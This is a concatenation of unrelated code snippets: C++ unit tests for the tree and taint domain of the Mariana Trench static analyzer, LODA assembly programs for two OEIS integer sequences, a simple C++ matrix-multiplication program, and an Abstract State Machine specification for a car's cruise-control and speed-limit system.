EXPECT_EQ(tree.raw_read(Path{x, y}), IntSetTree::bottom()); } TEST_F(AbstractTreeDomainTest, Elements) { using Pair = std::pair<Path, IntSet>; const auto* x = DexString::make_string("x"); const auto* y = DexString::make_string("y"); const auto* z = DexString::make_string("z"); auto tree = IntSetTree{ {Path{x}, IntSet{1, 2}}, {Path{x, y}, IntSet{3, 4}}, {Path{x, z}, IntSet{5, 6}}, {Path{x, z, y}, IntSet{7, 8}}, {Path{x, x}, IntSet{9, 10}}, }; EXPECT_THAT( tree.elements(), testing::UnorderedElementsAre( Pair{Path{x}, IntSet{1, 2}}, Pair{Path{x, y}, IntSet{3, 4}}, Pair{Path{x, z}, IntSet{5, 6}}, Pair{Path{x, z, y}, IntSet{7, 8}}, Pair{Path{x, x}, IntSet{9, 10}})); } TEST_F(AbstractTreeDomainTest, Map) { const auto* x = DexString::make_string("x"); const auto* y = DexString::make_string("y"); auto tree = IntSetTree{ {Path{}, IntSet{1, 2}}, {Path{x}, IntSet{3, 4}}, {Path{x, y}, IntSet{5, 6}}, {Path{y}, IntSet{7, 8}}, {Path{y, x}, IntSet{9, 10}}, }; tree.map([](IntSet& set) { auto copy = set; set = IntSet{}; for (int value : copy.elements()) { set.add(value * value); } }); EXPECT_EQ( tree, (IntSetTree{ {Path{}, IntSet{1, 4}}, {Path{x}, IntSet{9, 16}}, {Path{x, y}, IntSet{25, 36}}, {Path{y}, IntSet{49, 64}}, {Path{y, x}, IntSet{81, 100}}, })); } namespace { struct PropagateArtificialSources { Taint operator()(Taint taint, Path::Element path_element) const { taint.map([path_element](FrameSet& frames) { if (frames.is_artificial_sources()) { frames.map([path_element](Frame& frame) { frame.callee_port_append(path_element); }); } }); return taint; } }; } // namespace TEST_F(AbstractTreeDomainTest, Propagate) { const auto* x = DexString::make_string("x"); const auto* y = DexString::make_string("y"); const auto* z = DexString::make_string("z"); auto tree = TaintTree{Taint{Frame::artificial_source(1)}}; EXPECT_EQ( tree.read(Path{x, y}, PropagateArtificialSources()), (TaintTree{Taint{ Frame::artificial_source( AccessPath(Root(Root::Kind::Argument, 1), Path{x, y})), }})); tree.write(Path{x}, Taint{Frame::artificial_source(2)}, UpdateKind::Weak); EXPECT_EQ( tree.read(Path{x, y}, PropagateArtificialSources()), (TaintTree{Taint{ Frame::artificial_source( AccessPath(Root(Root::Kind::Argument, 1), Path{x, y})), Frame::artificial_source( AccessPath(Root(Root::Kind::Argument, 2), Path{y})), }})); tree.write(Path{x, y}, Taint{Frame::artificial_source(3)}, UpdateKind::Weak); EXPECT_EQ( tree.read(Path{x, y}, PropagateArtificialSources()), (TaintTree{Taint{ Frame::artificial_source( AccessPath(Root(Root::Kind::Argument, 1), Path{x, y})), Frame::artificial_source( AccessPath(Root(Root::Kind::Argument, 2), Path{y})), Frame::artificial_source(AccessPath(Root(Root::Kind::Argument, 3))), }})); tree.write( Path{x, y, z}, Taint{Frame::artificial_source(4)}, UpdateKind::Weak); EXPECT_EQ( tree.read(Path{x, y}, PropagateArtificialSources()), (TaintTree{ {Path{}, Taint{ Frame::artificial_source( AccessPath(Root(Root::Kind::Argument, 1), Path{x, y})), }}, {Path{}, Taint{ Frame::artificial_source( AccessPath(Root(Root::Kind::Argument, 2), Path{y})), }}, {Path{}, Taint{ Frame::artificial_source( AccessPath(Root(Root::Kind::Argument, 3))), }}, {Path{z}, Taint{ Frame::artificial_source( AccessPath(Root(Root::Kind::Argument, 4))), }}, })); tree = TaintTree{Taint{ Frame::artificial_source( AccessPath(Root(Root::Kind::Argument, 0), Path{x})), }}; EXPECT_EQ( tree.read(Path{y}, PropagateArtificialSources()), (TaintTree{Taint{ Frame::artificial_source( AccessPath(Root(Root::Kind::Argument, 0), Path{x, y})), }})); tree.set_to_bottom(); tree.write(Path{x}, Taint{Frame::artificial_source(0)}, UpdateKind::Weak); tree.write(Path{y}, Taint{Frame::artificial_source(1)}, UpdateKind::Weak); tree.write(Path{z}, Taint{Frame::artificial_source(2)}, UpdateKind::Weak); tree.write( Path{y, z}, Taint{Frame::artificial_source( AccessPath(Root(Root::Kind::Argument, 1), Path{z}))}, UpdateKind::Weak); EXPECT_EQ( tree.read(Path{y, z}, PropagateArtificialSources()), (TaintTree{Taint{ Frame::artificial_source( AccessPath(Root(Root::Kind::Argument, 1), Path{z})), }})); } } // namespace marianatrench
; A017652: (12n+10)^12. ; 1000000000000,12855002631049216,2386420683693101056,89762301673555234816,1449225352009601191936,13841287201000000000000,92420056270299898187776,475920314814253376475136,2012196471835550329409536,7287592625109126008344576 mul $0,12 add $0,10 pow $0,12
; A032532: Integer part of decimal 'base-2 looking' numbers divided by their actual base-2 values (denominator of a(n) is n, numerator is n written in binary but read in decimal). ; 1,5,3,25,20,18,15,125,111,101,91,91,84,79,74,625,588,556,526,505,481,459,439,458,440,423,407,396,382,370,358,3125,3030,2941,2857,2780,2705,2634,2566,2525,2463,2405,2349,2297,2246,2198,2151,2291,2244,2200,2157,2117,2077,2039,2002,1982,1947,1913,1881,1851,1821,1792,1763,15625,15384,15151,14925,14707,14494,14287,14086,13902,13712,13527,13346,13172,13001,12834,12672,12625,12469,12317,12168,12025,11883,11745,11610,11488,11359,11233,11110,10990,10872,10756,10643,11458,11340,11224,11111,11001 add $0,1 mov $2,$0 seq $0,7088 ; The binary numbers (or binary words, or binary vectors, or binary expansion of n): numbers written in base 2. div $0,$2
#include <bits/stdc++.h> using namespace std; int main() { int r1 , c1 ; cin>>r1>>c1; int r2 , c2 ; cin>>r2>>c2; int m1[r1][c1]; for(int i=0; i<r1; i++){ for(int j=0; j<c1; j++){ cin>>m1[i][j]; } } int m2[r2][c2] ; for(int i=0; i<r2; i++){ for(int j=0; j<c2; j++){ cin>>m2[i][j]; } } if(c1 != r2){ } else { int res[r1][c2]; for(int i=0; i<r1; i++){ for(int j=0; j<c2; j++){ int sum =0; for(int k=0; k<r2; k++){ sum += (m1[i][k] * m2[k][j]); } res[i][j] = sum; } } for(int i=0; i<r1; i++){ for(int j=0; j<c2; j++){ cout << res[i][j] << "\t"; } cout << "\n"; } } return 0; }
//Seventh refinement of Adaptive Exterior Light and Speed Control System //Setting and modifying desired speed - //Cruise control - Speed limit - Traffic sign detection //from SCS-1 to SCS-17 //from SCS-29 to SCS-35 //from SCS-36 to SCS-39 //from SCS-18 to SCS-26 asm CarSystem007main import ../../StandardLibrary import CarSystem007EmergencyBrakeSpeed import CarSystem007AdaptiveCruiseC import ../CarSystem006/CarSystem006SpeedLimitTrafficDet signature: definitions: macro rule r_ReadMonitorFunctions = par sCSLeve_Previous := sCSLever keyState_Previous := keyState endpar // MAIN RULE main rule r_Main = par r_ReadMonitorFunctions[] r_DesiredSpeedVehicleSpeed[] r_BrakePedal[] r_SpeedLimit[] r_MAPE_CC[] r_SafetyDistanceByUser[] r_EmergencyBrakeSpeed[] endpar // INITIAL STATE default init s0: function cruiseControlMode = CCM0 //Cruise control lever is in NEUTRAL position function sCSLeve_Previous = NEUTRAL //Key is not inserted function keyState_Previous = NOKEYINSERTED function setVehicleSpeed = 0 function desiredSpeed = 0 function passed2SecYes = false function orangeLed = false function speedLimitActive = false function speedLimitTempDeacti = false function speedLimitSpeed = 0 function setSafetyDistance = 2 function acousticSignalImpact = false